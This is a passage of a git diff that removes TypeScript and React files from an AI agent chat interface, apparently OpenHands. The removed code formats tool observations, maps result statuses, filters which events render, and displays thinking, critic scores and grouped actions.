=> c.text) - .join("\n") - .trim(); - - if (!observation.skill_name && !content) { - return []; - } - - return [{ name: observation.skill_name, content }]; -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/get-observation-content.ts b/src/components/conversation-events/chat/event-content-helpers/get-observation-content.ts deleted file mode 100644 index 45ec656e4..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/get-observation-content.ts +++ /dev/null @@ -1,436 +0,0 @@ -import { CANVAS_UI_CLIENT_TOOL_NAME } from "#/constants/canvas-ui"; -import { ObservationEvent } from "#/types/agent-server/core"; -import { getObservationResult } from "./get-observation-result"; -import { getDefaultEventContent, MAX_CONTENT_LENGTH } from "./shared"; -import i18n from "#/i18n"; -import { I18nKey } from "#/i18n/declaration"; -import { - MCPToolObservation, - FinishObservation, - ThinkObservation, - BrowserObservation, - ExecuteBashObservation, - TerminalObservation, - FileEditorObservation, - StrReplaceEditorObservation, - TaskTrackerObservation, - GlobObservation, - GrepObservation, - InvokeSkillObservation, - CanvasUIObservation, - SwitchLLMObservation, -} from "#/types/agent-server/core/base/observation"; - -// File Editor Observations -const getFileEditorObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - if (observation.error) { - return `**Error:**\n${observation.error}`; - } - - // Extract text content from the observation if it exists - const textContent = - "content" in observation && Array.isArray(observation.content) - ? observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n") - : null; - - const successMessage = getObservationResult(event) === "success"; - - // For view commands or successful edits with content changes, format as code block - if ( - (successMessage && - "old_content" in observation && - "new_content" in observation && - observation.old_content && - observation.new_content) || - observation.command === "view" - ) { - // Prefer content over output for view commands, fallback to output if content is not available - const displayContent = textContent || observation.output; - return `\`\`\`\n${displayContent}\n\`\`\``; - } - - // For other commands, prefer content if available, otherwise use output - return textContent || observation.output; -}; - -// Command Observations -const getTerminalObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - // Extract text content from the observation - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - let content = textContent || ""; - - if (content.length > MAX_CONTENT_LENGTH) { - content = `${content.slice(0, MAX_CONTENT_LENGTH)}...`; - } - - // Build the output string - let output = ""; - - // Display the command if available - if (observation.command) { - output += `Command: \`${observation.command}\`\n\n`; - } - - // Display the output - output += `Output:\n\`\`\`sh\n${content.trim() || i18n.t(I18nKey.OBSERVATION$COMMAND_NO_OUTPUT)}\n\`\`\``; - - return output; -}; - -// Tool Observations -const getBrowserObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - // Extract text content from the observation - const textContent = - "content" in observation && Array.isArray(observation.content) - ? observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n") - : observation.output || ""; - - let contentDetails = ""; - - if (observation.error) { - contentDetails += `**Error:**\n${observation.error}`; - } else if (textContent) { - contentDetails += `**Output:**\n${textContent}`; - } else { - contentDetails += "Browser action completed successfully."; - } - - if (contentDetails.length > MAX_CONTENT_LENGTH) { - contentDetails = `${contentDetails.slice(0, MAX_CONTENT_LENGTH)}...(truncated)`; - } - - return contentDetails; -}; - -const getMCPToolObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - // Extract text content from the observation - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - let content = `**Tool:** ${observation.tool_name}\n\n`; - - if (observation.is_error) { - content += `**Error:**\n${textContent}`; - } else { - content += `**Result:**\n${textContent}`; - } - - if (content.length > MAX_CONTENT_LENGTH) { - content = `${content.slice(0, MAX_CONTENT_LENGTH)}...`; - } - - return content; -}; - -// Invoke-skill observations -const getInvokeSkillObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - const header = observation.skill_name - ? `**Skill:** \`${observation.skill_name}\`\n\n` - : ""; - const body = observation.is_error - ? `**Error:**\n${textContent}` - : textContent; - - let content = `${header}${body}`; - if (content.length > MAX_CONTENT_LENGTH) { - content = `${content.slice(0, MAX_CONTENT_LENGTH)}...(truncated)`; - } - return content; -}; - -// Canvas UI observations — just surface the acknowledgement text. -const getCanvasUIObservationContent = ( - event: ObservationEvent, -): string => - event.observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - -const getSwitchLLMObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - if (observation.is_error) { - return textContent - ? `**Error:**\n${textContent}` - : `**Error:**\nFailed to switch LLM profile \`${observation.profile_name}\`.`; - } - - const parts = [`**Profile:** \`${observation.profile_name}\``]; - if (observation.active_model) { - parts.push(`**Active model:** \`${observation.active_model}\``); - } - if (observation.reason) { - parts.push(`**Reason:** ${observation.reason}`); - } - - return parts.join("\n"); -}; - -// Complex Observations -const getTaskTrackerObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - const { command, task_list: taskList } = observation; - let content = `**Command:** \`${command}\``; - - if (command === "plan" && taskList.length > 0) { - content += `\n\n**Task List (${taskList.length} ${taskList.length === 1 ? "item" : "items"}):**\n`; - - taskList.forEach((task, index: number) => { - const statusMap = { - todo: "⏳", - in_progress: "🔄", - done: "✅", - }; - const statusIcon = - statusMap[task.status as keyof typeof statusMap] || "❓"; - - content += `\n${index + 1}. ${statusIcon} **[${task.status.toUpperCase().replace("_", " ")}]** ${task.title}`; - if (task.notes) { - content += `\n *Notes: ${task.notes}*`; - } - }); - } else if (command === "plan") { - content += "\n\n**Task List:** Empty"; - } - - if ( - "content" in observation && - observation.content && - typeof observation.content === "string" && - observation.content.trim() - ) { - content += `\n\n**Result:** ${observation.content.trim()}`; - } - - return content; -}; - -// Simple Observations -const getThinkObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - return textContent || ""; -}; - -const getFinishObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - // Extract text content from the observation - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - let content = ""; - - if (observation.is_error) { - content += `**Error:**\n${textContent}`; - } else { - content += textContent; - } - - return content; -}; - -// Glob Observations -const getGlobObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - // Extract text content from the observation - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - let content = `**Pattern:** \`${observation.pattern}\`\n`; - content += `**Search Path:** \`${observation.search_path}\`\n\n`; - - if (observation.is_error) { - content += `**Error:**\n${textContent}`; - } else if (observation.files.length === 0) { - content += "**Result:** No files found."; - } else { - content += `**Files Found (${observation.files.length}${observation.truncated ? "+, truncated" : ""}):**\n`; - content += observation.files.map((f) => `- \`${f}\``).join("\n"); - } - - if (content.length > MAX_CONTENT_LENGTH) { - content = `${content.slice(0, MAX_CONTENT_LENGTH)}...(truncated)`; - } - - return content; -}; - -// Grep Observations -const getGrepObservationContent = ( - event: ObservationEvent, -): string => { - const { observation } = event; - - // Extract text content from the observation - const textContent = observation.content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - - let content = `**Pattern:** \`${observation.pattern}\`\n`; - content += `**Search Path:** \`${observation.search_path}\`\n`; - if (observation.include_pattern) { - content += `**Include:** \`${observation.include_pattern}\`\n`; - } - content += "\n"; - - if (observation.is_error) { - content += `**Error:**\n${textContent}`; - } else if (observation.matches.length === 0) { - content += "**Result:** No matches found."; - } else { - content += `**Matches (${observation.matches.length}${observation.truncated ? "+, truncated" : ""}):**\n`; - content += observation.matches.map((f) => `- \`${f}\``).join("\n"); - } - - if (content.length > MAX_CONTENT_LENGTH) { - content = `${content.slice(0, MAX_CONTENT_LENGTH)}...(truncated)`; - } - - return content; -}; - -export const getObservationContent = (event: ObservationEvent): string => { - const observationType = event.observation.kind; - - switch (observationType) { - case "FileEditorObservation": - case "StrReplaceEditorObservation": - return getFileEditorObservationContent( - event as ObservationEvent< - FileEditorObservation | StrReplaceEditorObservation - >, - ); - - case "ExecuteBashObservation": - case "TerminalObservation": - return getTerminalObservationContent( - event as ObservationEvent, - ); - - case "BrowserObservation": - return getBrowserObservationContent( - event as ObservationEvent, - ); - - case "MCPToolObservation": - return getMCPToolObservationContent( - event as ObservationEvent, - ); - - case "TaskTrackerObservation": - return getTaskTrackerObservationContent( - event as ObservationEvent, - ); - - case "ThinkObservation": - return getThinkObservationContent( - event as ObservationEvent, - ); - - case "FinishObservation": - return getFinishObservationContent( - event as ObservationEvent, - ); - - case "GlobObservation": - return getGlobObservationContent( - event as ObservationEvent, - ); - - case "GrepObservation": - return getGrepObservationContent( - event as ObservationEvent, - ); - - case "InvokeSkillObservation": - return getInvokeSkillObservationContent( - event as ObservationEvent, - ); - - case "CanvasUIObservation": - return getCanvasUIObservationContent( - event as ObservationEvent, - ); - - case "ClientToolObservation": - return event.tool_name === CANVAS_UI_CLIENT_TOOL_NAME - ? getCanvasUIObservationContent( - event as ObservationEvent, - ) - : getDefaultEventContent(event); - - case "SwitchLLMObservation": - return getSwitchLLMObservationContent( - event as ObservationEvent, - ); - - default: - return getDefaultEventContent(event); - } -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/get-observation-result.ts b/src/components/conversation-events/chat/event-content-helpers/get-observation-result.ts deleted file mode 100644 index 0ac7a1eb1..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/get-observation-result.ts +++ /dev/null @@ -1,70 +0,0 @@ -import { ObservationEvent } from "#/types/agent-server/core"; -import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event"; - -export type ObservationResultStatus = "success" | "error" | "timeout"; - -/** - * Map an ACPToolCallEvent's lifecycle + error flags to the same - * success/error status the rest of the UI uses. A non-terminal call - * (``pending`` / ``in_progress``) falls through to ``undefined`` so the - * SuccessIndicator renders nothing — the card shows as "running" via the - * absence of a check mark, matching how regular ActionEvents are displayed - * before their ObservationEvent arrives. - */ -export const getACPToolCallResult = ( - event: ACPToolCallEvent, -): ObservationResultStatus | undefined => { - if (event.is_error || event.status === "failed") return "error"; - if (event.status === "completed") return "success"; - return undefined; -}; - -export const getObservationResult = ( - event: ObservationEvent, -): ObservationResultStatus => { - const { observation } = event; - const observationType = observation.kind; - - switch (observationType) { - case "ExecuteBashObservation": { - const exitCode = observation.exit_code; - const { metadata } = observation; - - if (exitCode === -1 || metadata.exit_code === -1) return "timeout"; // Command timed out - if (exitCode === 0 || metadata.exit_code === 0) return "success"; // Command executed successfully - return "error"; // Command failed - } - case "TerminalObservation": { - const exitCode = - observation.exit_code ?? observation.metadata.exit_code ?? null; - - if (observation.timeout || exitCode === -1) return "timeout"; - if (exitCode === 0) return "success"; - if (observation.is_error) return "error"; - return "success"; - } - case "FileEditorObservation": - case "StrReplaceEditorObservation": - // Check if there's an error - if (observation.error) return "error"; - return "success"; - case "MCPToolObservation": - if (observation.is_error) return "error"; - return "success"; - case "SwitchLLMObservation": - if (observation.is_error) return "error"; - return "success"; - case "InvokeSkillObservation": - if (observation.is_error) return "error"; - return "success"; - case "TaskObservation": - if (observation.is_error || observation.status === "failed") - return "error"; - return "success"; - case "CanvasUIObservation": - if (observation.is_error) return "error"; - return "success"; - default: - return "success"; - } -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/get-skill-ready-content.ts b/src/components/conversation-events/chat/event-content-helpers/get-skill-ready-content.ts deleted file mode 100644 index 021eed2a8..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/get-skill-ready-content.ts +++ /dev/null @@ -1,146 +0,0 @@ -import { TextContent } from "#/types/agent-server/core/base/common"; - -/** - * Represents a single activated skill with its name and associated content. - */ -export interface SkillReadyItem { - name: string; - content: string; -} - -/** - * Extracts all text content from an array of TextContent items. - */ -const extractAllText = (extendedContent: TextContent[]): string => - extendedContent - .filter((c) => c.type === "text") - .map((c) => c.text) - .join(""); - -/** - * Extracts all blocks from the given text. - * Returns an array of content strings (without the wrapper tags). - */ -const extractExtraInfoBlocks = (text: string): string[] => { - const blocks: string[] = []; - const blockRegex = /([\s\S]*?)<\/EXTRA_INFO>/gi; - let match = blockRegex.exec(text); - - while (match !== null) { - const blockContent = match[1].trim(); - if (blockContent.length > 0) { - blocks.push(blockContent); - } - match = blockRegex.exec(text); - } - - return blocks; -}; - -/** - * Formats a single skill with its corresponding content block. - */ -const formatSkillWithContent = ( - skill: string, - contentBlock: string | undefined, -): string => { - let formatted = `\n\n- **${skill}**`; - - if (contentBlock && contentBlock.trim().length > 0) { - formatted += `\n\n${contentBlock}`; - } - - return formatted; -}; - -/** - * Formats skills paired with their corresponding extended content blocks. - */ -const formatSkillKnowledge = ( - activatedSkills: string[], - extraInfoBlocks: string[], -): string => { - let content = `\n\n**Triggered Skill Knowledge:**`; - - activatedSkills.forEach((skill, index) => { - const contentBlock = - index < extraInfoBlocks.length ? extraInfoBlocks[index] : undefined; - content += formatSkillWithContent(skill, contentBlock); - }); - - return content; -}; - -/** - * Formats extended content blocks when no skills are present. - */ -const formatExtendedContentOnly = (extraInfoBlocks: string[]): string => { - let content = `\n\n**Extended Content:**`; - - extraInfoBlocks.forEach((block) => { - if (block.trim().length > 0) { - content += `\n\n${block}`; - } - }); - - return content; -}; - -/** - * Extracts EXTRA_INFO blocks from extended content. - */ -const getExtraInfoBlocks = (extendedContent: TextContent[]): string[] => { - if (!extendedContent || extendedContent.length === 0) return []; - return extractExtraInfoBlocks(extractAllText(extendedContent)); -}; - -/** - * Formats activated skills and extended content into markdown for display. - * Each skill is paired with its corresponding block by index. - */ -export const getSkillReadyContent = ( - activatedSkills: string[], - extendedContent: TextContent[], -): string => { - const extraInfoBlocks = getExtraInfoBlocks(extendedContent); - - if (activatedSkills && activatedSkills.length > 0) { - return formatSkillKnowledge(activatedSkills, extraInfoBlocks); - } - - if (extraInfoBlocks.length > 0) { - return formatExtendedContentOnly(extraInfoBlocks); - } - - return ""; -}; - -/** - * Returns structured skill items with their names and associated content. - * Each skill is paired with its corresponding block by index. - */ -export const getSkillReadyItems = ( - activatedSkills: string[], - extendedContent: TextContent[], -): SkillReadyItem[] => { - const extraInfoBlocks = getExtraInfoBlocks(extendedContent); - - if (activatedSkills && activatedSkills.length > 0) { - return activatedSkills.map((skill, index) => ({ - name: skill, - content: - index < extraInfoBlocks.length ? extraInfoBlocks[index].trim() : "", - })); - } - - if (extraInfoBlocks.length > 0) { - return extraInfoBlocks - .filter((block) => block.trim().length > 0) - .map((block, index) => ({ - name: `Extended Content ${index + 1}`, - content: block.trim(), - })); - } - - return []; -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/parse-message-from-event.ts b/src/components/conversation-events/chat/event-content-helpers/parse-message-from-event.ts deleted file mode 100644 index bc6301c92..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/parse-message-from-event.ts +++ /dev/null @@ -1,42 +0,0 @@ -import { MessageEvent } from "#/types/agent-server/core"; -import i18n from "#/i18n"; -import { I18nKey } from "#/i18n/declaration"; - -export const parseMessageFromEvent = (event: MessageEvent): string => { - const message = event.llm_message; - - // Safety check: ensure llm_message exists and has content - if (!message?.content) { - return ""; - } - - // Get the text content from the message - let textContent = ""; - if (message.content) { - if (Array.isArray(message.content)) { - // Handle array of content blocks - textContent = message.content - .filter((content) => content.type === "text") - .map((content) => content.text) - .join("\n"); - } else if (typeof message.content === "string") { - // Handle string content - textContent = message.content; - } - } - - // Check if there are image_urls in the message content - const hasImages = - Array.isArray(message.content) && - message.content.some((content) => content.type === "image"); - - if (!hasImages) { - return textContent; - } - - // If there are images, try to split by the augmented prompt delimiter - const delimiter = i18n.t(I18nKey.CHAT_INTERFACE$AUGMENTED_PROMPT_FILES_TITLE); - const parts = textContent.split(delimiter); - - return parts[0]; -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/shared.ts b/src/components/conversation-events/chat/event-content-helpers/shared.ts deleted file mode 100644 index 0ea19b488..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/shared.ts +++ /dev/null @@ -1,6 +0,0 @@ -import { OpenHandsEvent } from "#/types/agent-server/core"; - -export const MAX_CONTENT_LENGTH = 1000; - -export const getDefaultEventContent = (event: OpenHandsEvent): string => - `\`\`\`json\n${JSON.stringify(event, null, 2)}\n\`\`\``; diff --git a/src/components/conversation-events/chat/event-content-helpers/should-render-event.ts b/src/components/conversation-events/chat/event-content-helpers/should-render-event.ts deleted file mode 100644 index f3001db29..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/should-render-event.ts +++ /dev/null @@ -1,132 +0,0 @@ -import { MessageEvent, OpenHandsEvent } from "#/types/agent-server/core"; -import { - isActionEvent, - isObservationEvent, - isMessageEvent, - isAgentErrorEvent, - isConversationStateUpdateEvent, - isGoalConversationStateUpdateEvent, - isHookExecutionEvent, - isACPToolCallEvent, - isStreamingDeltaEvent, -} from "#/types/agent-server/type-guards"; - -// Prefixes of the SDK goal-loop re-prompts (FOLLOWUP_PROMPT / RESUME_PROMPT in -// openhands.sdk .../conversation/goal/prompts.py). The goal loop injects these -// as `user` messages each round to steer the agent, and FOLLOWUP_PROMPT embeds -// the judge's verdict — which the goal banner already surfaces. The persisted -// event carries no marker distinguishing them from real user input, so we match -// the prompt text to keep this machinery out of the chat. Brittle by design; -// keep in sync with the SDK prompts (the durable fix is a persisted goal-loop -// flag on the event). -const GOAL_REPROMPT_PREFIXES = [ - "The goal is NOT yet complete (audit iteration", - "Resuming a goal that was paused or interrupted.", -]; - -const isGoalLoopReprompt = (event: MessageEvent): boolean => { - if (event.llm_message?.role !== "user") return false; - const content = event.llm_message.content; - const text = Array.isArray(content) - ? content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n") - : ""; - return GOAL_REPROMPT_PREFIXES.some((prefix) => text.startsWith(prefix)); -}; - -export const shouldRenderEvent = (event: OpenHandsEvent) => { - if (isConversationStateUpdateEvent(event)) { - // A finished `/goal` loop renders inline so it settles into the - // conversation; the live (active) banner is shown separately by - // GoalStatusBanner, and all other state updates (and the in-progress goal - // events) stay hidden. - return isGoalConversationStateUpdateEvent(event) && !event.value.active; - } - - // Render action events (with filtering) - if (isActionEvent(event)) { - // For V1, action is an object with kind property - const actionType = event.action.kind; - - if (!actionType) { - return false; - } - - // Hide user commands from the chat interface - if (actionType === "ExecuteBashAction" && event.source === "user") { - return false; - } - - // Hide PlanningFileEditorAction - handled separately with PlanPreview component - if (actionType === "PlanningFileEditorAction") { - return false; - } - - // The model switch tool reuses the same inline model message UI as - // `/model ` once the observation arrives. - if (actionType === "SwitchLLMAction") { - return false; - } - - return true; - } - - // Render observation events - if (isObservationEvent(event)) { - // Successful model switches are rendered through ModelMessages so they - // look identical to `/model ` confirmations. Failed switches - // still render as observations so the error remains visible in chat. - if ( - event.observation.kind === "SwitchLLMObservation" && - !event.observation.is_error - ) { - return false; - } - - return true; - } - - // Render message events (user and assistant messages), except the goal loop's - // injected re-prompts — the judge feedback they carry is shown in the goal - // banner, so otherwise they leak into the chat as fake user turns. - if (isMessageEvent(event)) { - return !isGoalLoopReprompt(event); - } - - // Render agent error events - if (isAgentErrorEvent(event)) { - return true; - } - - // Render hook execution events - if (isHookExecutionEvent(event)) { - return true; - } - - // Render ACP sub-agent tool call events at every lifecycle stage. The SDK - // now persists exactly two events per ``tool_call_id`` — one early - // ``started`` event (``pending`` / ``in_progress``) and one terminal - // (``completed`` / ``failed``) event — the action->observation pair for a - // tool call. The ``started`` event renders the card as "running" (no check - // mark; see ``getACPToolCallResult``) and ``handleEventForUI`` replaces it - // in place by ``tool_call_id`` once the terminal event arrives, mirroring - // how an ObservationEvent supersedes its ActionEvent. The old terminal-only - // gate existed because the source fanned out one cumulative-output frame per - // ``ToolCallProgress``, which flashed half-formed cards mid-stream; that - // fan-out is gone, so the running card is now a single clean event. - if (isACPToolCallEvent(event)) { - return true; - } - - if (isStreamingDeltaEvent(event)) { - return event.content !== null || event.reasoning_content !== null; - } - - // Don't render any other event types (system events, etc.) - return false; -}; - -export const hasUserEvent = (events: OpenHandsEvent[]) => - events.some((event) => event.source === "user"); diff --git a/src/components/conversation-events/chat/event-message-components/collapsible-thinking.tsx b/src/components/conversation-events/chat/event-message-components/collapsible-thinking.tsx deleted file mode 100644 index 7b5100ec4..000000000 --- a/src/components/conversation-events/chat/event-message-components/collapsible-thinking.tsx +++ /dev/null @@ -1,58 +0,0 @@ -import React from "react"; -import { useTranslation } from "react-i18next"; -import ArrowDown from "#/icons/angle-down-solid.svg?react"; -import ArrowUp from "#/icons/angle-up-solid.svg?react"; -import LightbulbIcon from "#/icons/lightbulb.svg?react"; -import { I18nKey } from "#/i18n/declaration"; -import { MarkdownRenderer } from "../../../features/markdown/markdown-renderer"; - -interface CollapsibleThinkingProps { - /** The thinking / reasoning content to display when expanded. */ - content: string; -} - -/** - * Renders agent thinking or extended reasoning content inside a collapsible - * section. Collapsed by default so the chat stays compact — especially - * useful when the thinking language differs from the conversation language. - */ -export function CollapsibleThinking({ content }: CollapsibleThinkingProps) { - const { t } = useTranslation("openhands"); - const [expanded, setExpanded] = React.useState(false); - - if (!content.trim()) { - return null; - } - - const Chevron = expanded ? ArrowUp : ArrowDown; - - return ( -
    - - - {expanded && ( -
    - {content} -
    - )} -
    - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/critic-result-display.tsx b/src/components/conversation-events/chat/event-message-components/critic-result-display.tsx deleted file mode 100644 index 709f16f50..000000000 --- a/src/components/conversation-events/chat/event-message-components/critic-result-display.tsx +++ /dev/null @@ -1,247 +0,0 @@ -import React from "react"; -import { useTranslation } from "react-i18next"; -import ArrowDown from "#/icons/angle-down-solid.svg?react"; -import ArrowUp from "#/icons/angle-up-solid.svg?react"; -import { useSettings } from "#/hooks/query/use-settings"; -import { I18nKey } from "#/i18n/declaration"; -import type { - CriticResult, - CriticFeature, - CriticCategorizedFeatures, -} from "#/types/agent-server/core/base/critic"; - -/** - * Normalize potentially malformed runtime scores before rendering. - */ -function normalizeScore(score: number): number { - if (!Number.isFinite(score)) return 0; - return Math.min(1, Math.max(0, score)); -} - -/** - * Convert a normalized score (0-1) to a 5-star rating string. - */ -function getStarRating(normalizedScore: number): { - filled: number; - empty: number; -} { - const filled = Math.round(normalizedScore * 5); - return { filled, empty: 5 - filled }; -} - -/** - * Get the color class for the star rating based on score. - */ -function getScoreColorClass(score: number): string { - if (score >= 0.6) return "text-green-400"; - if (score >= 0.4) return "text-yellow-400"; - return "text-red-400"; -} - -/** - * Get the color class for an issue probability. - */ -function getIssueColorClass(probability: number): string { - if (probability >= 0.7) return "text-red-400 font-semibold"; - if (probability >= 0.5) return "text-yellow-400"; - return "text-neutral-400"; -} - -function isSettingsRecord(value: unknown): value is Record { - return ( - value !== null && - value !== undefined && - typeof value === "object" && - !Array.isArray(value) - ); -} - -function getIterativeRefinementEnabled( - agentSettings: Record | null | undefined, -): boolean | null { - const verification = agentSettings?.verification; - if (!isSettingsRecord(verification)) { - return null; - } - - const value = verification.enable_iterative_refinement; - return typeof value === "boolean" ? value : null; -} - -/** - * Renders a single issue feature with its probability. - */ -function FeatureItem({ feature }: { feature: CriticFeature }) { - const percentage = Math.round(feature.probability * 100); - const colorClass = getIssueColorClass(feature.probability); - - return ( - - {feature.display_name} - ({percentage}%) - - ); -} - -/** - * Renders a category of features (e.g., "Potential Issues", "Infrastructure"). - */ -function FeatureCategory({ - label, - features, -}: { - label: string; - features: CriticFeature[]; -}) { - if (!features || features.length === 0) return null; - - return ( -
    - {label} - {features.map((feature, i) => ( - - {i > 0 && ·} - - - ))} -
    - ); -} - -/** - * Renders the categorized features breakdown. - */ -function FeaturesBreakdown({ - categorized, -}: { - categorized: CriticCategorizedFeatures; -}) { - const { t } = useTranslation(); - - const hasAgentIssues = - categorized.agent_behavioral_issues && - categorized.agent_behavioral_issues.length > 0; - const hasUserPatterns = - categorized.user_followup_patterns && - categorized.user_followup_patterns.length > 0; - const hasInfra = - categorized.infrastructure_issues && - categorized.infrastructure_issues.length > 0; - const hasOther = categorized.other && categorized.other.length > 0; - - if (!hasAgentIssues && !hasUserPatterns && !hasInfra && !hasOther) { - return null; - } - - return ( -
    - {hasAgentIssues && ( - - )} - {hasInfra && ( - - )} - {hasUserPatterns && ( - - )} - {hasOther && ( - - )} -
    - ); -} - -interface CriticResultDisplayProps { - criticResult: CriticResult; -} - -/** - * Displays a critic evaluation result with star rating, score percentage, - * and expandable categorized feature breakdown. - */ -export function CriticResultDisplay({ - criticResult, -}: CriticResultDisplayProps) { - const { t } = useTranslation(); - const { data: settings } = useSettings(); - const [expanded, setExpanded] = React.useState(false); - - const normalizedScore = normalizeScore(criticResult.score); - const { filled, empty } = getStarRating(normalizedScore); - const colorClass = getScoreColorClass(normalizedScore); - const percentage = (normalizedScore * 100).toFixed(1); - const iterativeRefinementEnabled = getIterativeRefinementEnabled( - settings?.agent_settings as Record | null | undefined, - ); - const showIterativeRefinementHint = iterativeRefinementEnabled === false; - - const categorized = criticResult.metadata?.categorized_features; - const hasDetails = - categorized != null && - ((categorized.agent_behavioral_issues ?? []).length > 0 || - (categorized.user_followup_patterns ?? []).length > 0 || - (categorized.infrastructure_issues ?? []).length > 0 || - (categorized.other ?? []).length > 0); - - return ( -
    -
    - - {t(I18nKey.CRITIC$SUCCESS_LIKELIHOOD_LABEL)} - - - {"★".repeat(filled)} - {"☆".repeat(empty)} - - ({percentage}%) - - {hasDetails && ( - - )} -
    - - {expanded && hasDetails && ( - - )} - - {showIterativeRefinementHint && ( -

    - {t(I18nKey.CRITIC$ITERATIVE_REFINEMENT_HINT)} -

    - )} -
    - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/error-event-message.tsx b/src/components/conversation-events/chat/event-message-components/error-event-message.tsx deleted file mode 100644 index 1b26c39c8..000000000 --- a/src/components/conversation-events/chat/event-message-components/error-event-message.tsx +++ /dev/null @@ -1,16 +0,0 @@ -import React from "react"; -import { AgentErrorEvent } from "#/types/agent-server/core"; -import { isAgentErrorEvent } from "#/types/agent-server/type-guards"; -import { ErrorMessage } from "../../../features/chat/error-message"; - -interface ErrorEventMessageProps { - event: AgentErrorEvent; -} - -export function ErrorEventMessage({ event }: ErrorEventMessageProps) { - if (!isAgentErrorEvent(event)) { - return null; - } - - return ; -} diff --git a/src/components/conversation-events/chat/event-message-components/event-group.tsx b/src/components/conversation-events/chat/event-message-components/event-group.tsx deleted file mode 100644 index 1e373bab9..000000000 --- a/src/components/conversation-events/chat/event-message-components/event-group.tsx +++ /dev/null @@ -1,164 +0,0 @@ -import React from "react"; -import { useTranslation } from "react-i18next"; -import { LoaderCircle } from "lucide-react"; -import ArrowDown from "#/icons/angle-down-solid.svg?react"; -import ArrowUp from "#/icons/angle-up-solid.svg?react"; -import { OpenHandsEvent, ActionEvent } from "#/types/agent-server/core"; -import { - isActionEvent, - isObservationEvent, -} from "#/types/agent-server/type-guards"; -import { I18nKey } from "#/i18n/declaration"; -import { getEventContent } from "../event-content-helpers/get-event-content"; -import { IsInEventGroupContext } from "../../../features/chat/is-in-event-group-context"; - -interface EventGroupProps { - /** The events represented by this group. Used to compute the summary. */ - events: OpenHandsEvent[]; - /** - * Full event history. Used to resolve the action that produced the latest - * observation in the group so the summary title matches what the individual - * card would show (e.g. "Editing path/to/file"). Falls back to `events` when - * omitted. - */ - allEvents?: OpenHandsEvent[]; - /** - * `true` once an event outside this group has been emitted after it, so the - * group is no longer the "live" tail of the chat. While `false` (the - * default), the group keeps showing the most recent action's title as its - * prominent summary, with the count of completed actions shown subtly on - * the right. - */ - isFinalized?: boolean; - /** The fully-rendered event messages to show when the group is expanded. */ - children: React.ReactNode; -} - -/** - * Collapsible container that wraps a run of consecutive agent action/observation - * events into a single summary card. - * - * Collapsed, while the group is still the live tail of the chat - * (`isFinalized=false`): - * - Left (prominent): the title of the most recent action/observation in - * the group — i.e. either the action currently in flight, or the latest - * completed step. - * - Right (subdued): "{completed}/{total} actions completed" while at - * least one action is still pending (with a spinner), otherwise - * "{count} actions completed" followed by a success check. - * - * Collapsed, after the group has been "moved past" (`isFinalized=true`): - * - "{count} actions completed" is promoted to the prominent foreground - * style and the count is the only thing shown next to the chevron. - * - * Expanded: - * - Renders the children verbatim, so each individual action/observation can - * still be expanded the way it was before grouping. - */ -export function EventGroup({ - events, - allEvents, - isFinalized = false, - children, -}: EventGroupProps) { - const { t } = useTranslation("openhands"); - const [expanded, setExpanded] = React.useState(false); - const contentId = React.useId(); - const buttonId = `${contentId}-toggle`; - - if (events.length === 0) { - return null; - } - - // Each ObservationEvent in the group is a completed action. An ActionEvent - // that's still here (i.e. not yet replaced by its observation in the UI - // events array) is an action currently in flight. - const pendingAction = events.find((e): e is ActionEvent => isActionEvent(e)); - const completedCount = events.filter(isObservationEvent).length; - const totalCount = events.length; - const isRunning = !!pendingAction; - - // Title of the most recent groupable event. While running this is the - // pending action; otherwise it's the latest observation, with its - // originating action looked up so the title can be the action-style summary - // ("Editing path/to/file") instead of the observation default. - const latestEvent = events[events.length - 1]; - let latestTitle: React.ReactNode = null; - if (latestEvent) { - if (isActionEvent(latestEvent)) { - latestTitle = getEventContent(latestEvent).title; - } else if (isObservationEvent(latestEvent)) { - const lookupSource = allEvents ?? events; - const correspondingAction = lookupSource.find( - (e): e is ActionEvent => - isActionEvent(e) && e.id === latestEvent.action_id, - ); - latestTitle = getEventContent(latestEvent, correspondingAction).title; - } - } - - const countSummary = isRunning - ? t(I18nKey.EVENT_GROUP$ACTIONS_PROGRESS, { - completed: completedCount, - total: totalCount, - }) - : t(I18nKey.EVENT_GROUP$ACTIONS_COMPLETED, { count: totalCount }); - - const Chevron = expanded ? ArrowUp : ArrowDown; - - return ( -
